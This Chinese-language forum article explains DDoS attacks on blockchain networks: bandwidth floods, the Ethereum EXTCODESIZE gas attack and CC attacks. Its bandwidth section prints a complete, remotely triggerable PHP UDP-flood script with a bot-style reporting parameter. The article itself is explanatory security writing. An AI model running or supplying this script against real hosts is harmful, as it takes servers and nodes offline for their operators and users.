DDos攻击是网络安全中常见的攻击手段,也是危害比较大的手法之一。虽然DDos的概念提出的很早,但是区块链中的DDos攻击却是一个新鲜的内容,这个方向有许多新鲜的内容值得我们进行研究,包括基于区块链的攻击手法、基于区块链的防御手段等。
本文通过作者文献的阅读总结而来,包括了一些常见的攻击手段已经在文末根据区块链的特性总结出了一种防御DDos的方法模型,以提供一种idea为研究者创新。

一、DDos简介

2018年2月28日下午,全球著名的代码托管网站:GitHub遭受到了有史以来最大规模的DDoS攻击(分布式拒绝服务)。此次DDoS攻击以1.35TB/秒的流量冲击了GitHub平台,被业界称为是史上DDoS攻击之最,为应对此次攻击严重危害,GitHub站长无奈向国际著名的CDN服务商:Akamai求助,并为此付出了高昂的服务费用。

Dos(Denial of Service)是一种中断类型攻击。几乎所有以阻碍可用性为目的的攻击都可以归类为Dos攻击。详细来说,Dos攻击可以通过破坏物理网络组件,消化存储、带宽或者可用的资源来阻塞通信。例如Dos攻击可以使用恶意软件使节点的CPU时间达到极限或者通过触发错误指令使系统崩溃。

而本文不是讲述传统的Dos攻击,而是基于区块链的架构进行Dos攻击的解析。我们知道区块链是以P2P为架构进行的模板设计,而P2P的开放性会导致DDos攻击,处于网络中不同位置的节点可以共同发起Dos攻击以阻碍系统的正常运行。而这个过程需要进行综合利用一些攻击手法,例如攻击者需要获得大量Sybil节点,之后综合利用Eclipse攻击以达到控制节点的目的,之后就可以利用这些以控制的节点进行下一步的DDos的攻击。比如,攻击者成功注册到P2P系统中并获得了多个对等节点的权限,并在这些节点中植入僵尸进程,在指定时间内启动所有进程对目标设备发起攻击,而攻击者用自己的节点以及僵尸节点一同协作以达到被害者节点资源耗尽的目的。其可以发送大量的垃圾消息扰乱节点间的通信。入下图的DDos攻击图:

然而对于区块链系统来说,DDos的攻击的难度也是十分大的。区块链是一种真正的分布式系统,内置有节点通信防丢失的保护措施。到目前为止,最大的区块链是比特币。而比特币是一个真正开放的网络,但它的协议已成功阻止了几次对该网络的攻击尝试。许多不同机构的多个区块链节点都要受到攻击,然后才能席卷整个系统。当遇到DDoS攻击时,即使几个节点处于离线状态,区块链也拥有保护措施确保交易可以继续进行。当然,并非所有区块链网络都是相同的,特定网络的鲁棒性在很大程度上取决于该网络的多样性和节点数量及其哈希率。

二、DDos攻击形式详解

1 带宽攻击

简单来说,带宽攻击是使受害者节点的网络带宽耗尽,以达到拒绝服务攻击的效果。在区块链系统中,我们知道其在联盟链的场景下使用的通常是PBFT或者其他的改进版本算法。而在其节点共识过程中包括多播投票。而随着节点数量的增加,共识过程中的消息数目也会呈现直线增长。

我们知道,在区块链系统中倘若要同步一个数据需要大量的节点共同协作,其设计的网络输入与网络输出带宽均会非常高,节点网络的端口负荷将会十分严重。如果此时攻击者对相应的端口发起大量的带宽攻击,也许就会使用很小的代价使节点的网络资源耗尽。

下面我们看一段分析代码:

<?php
//设置脚本运行时间
set_time_limit(999999);
//攻击目标服务器ip
$host = $_GET['host'];
//攻击目标服务器端口
$port = $_GET['port'];
//攻击时长
$exec_time = $_GET['time'];
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
    if (StrLen($_GET['rat']) <> 0) {
        echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_SOFTWARE'] . $_GET['rat'];
        exit;
    }
    echo "Warning to: opening";
    exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
    $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {
    $packets++;
    if (time() > $max_time) {
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if ($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
//step4. 攻击统计
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>

上述代码使用php进行编写,用以模拟带宽攻击的DDos过程。上述脚本中我们可以看到,我们需要设置脚本运行时间,这个参数设置的时间要大一些(代码中我们以999999代替),之后进行端口设置(在区块链中可以设置为其常用的应用端口)。

在代码中设立攻击字符串,之后向目标服务器疯狂发送。最后进行统计。

2 软件漏洞攻击

软件漏洞攻击是指攻击者利用软件程序设计缺陷或者漏洞进行攻击。例如在2016年的The Dao事件分叉出来的ETH就有由于软件设计中的一个漏洞被attacker利用,导致了以太坊的DDos攻击。

简单来介绍下本次以太坊攻击。

我们知道在以太坊机制中,加入用户要进行转账或者其他操作,其需要提前支付一定的手续费,这就是我们常说的gas机制。以太坊网络中的手续费是由gasPrice * gasUsed(其中Gas可以理解为“燃料”,而每次执行合约均要根据执行语句的属性消耗固定的燃料)。当燃料使用光后合约就不可以被继续执行了(会执行回滚操作)。

而上述的The Dao事件具体来说,矿工和节点需要花费很长的时间(20-60秒)来处理一些区块。造成这次攻击的原因是一个EXTCODESIZE 操作码,它具有相当低的gas价格,需要节点从磁盘中读取状态信息。攻击交易调用此操作码的频率大约是50000次每区块。这样的后果是,网络已大大放缓了,但没有共识故障或内存超载发生。简单来说,因为此操作消耗的gas值比较少,所以攻击者可以花费比较少的代价多次调用此操作,以使网络中充满了大量的垃圾信息。于是正常的通信就会受到严重的影响并破会整个节点网络。

3 CC攻击

CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,前身名为Fatboy攻击,也是一种常见的网站攻击方法。攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到真实源IP,见不到特别大的异常流量,但造成服务器无法进行正常连接。最让站长们忧虑的是这种攻击技术含量低,利用更换IP代理工具和一些IP代理一个初、中级的电脑水平的用户就能够实施攻击。

具体来说,CC攻击可以分为两种模式,第一是黑客利用代理地址进行访问,第二种是黑客利用大量肉鸡进行大量访问,而第二种攻击的难度比第一种要大,但是攻击成效更高,因为当攻击者掌握了大量的ip地址后,其访问均为正常访问,服务器waf很难进行定向的防御。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖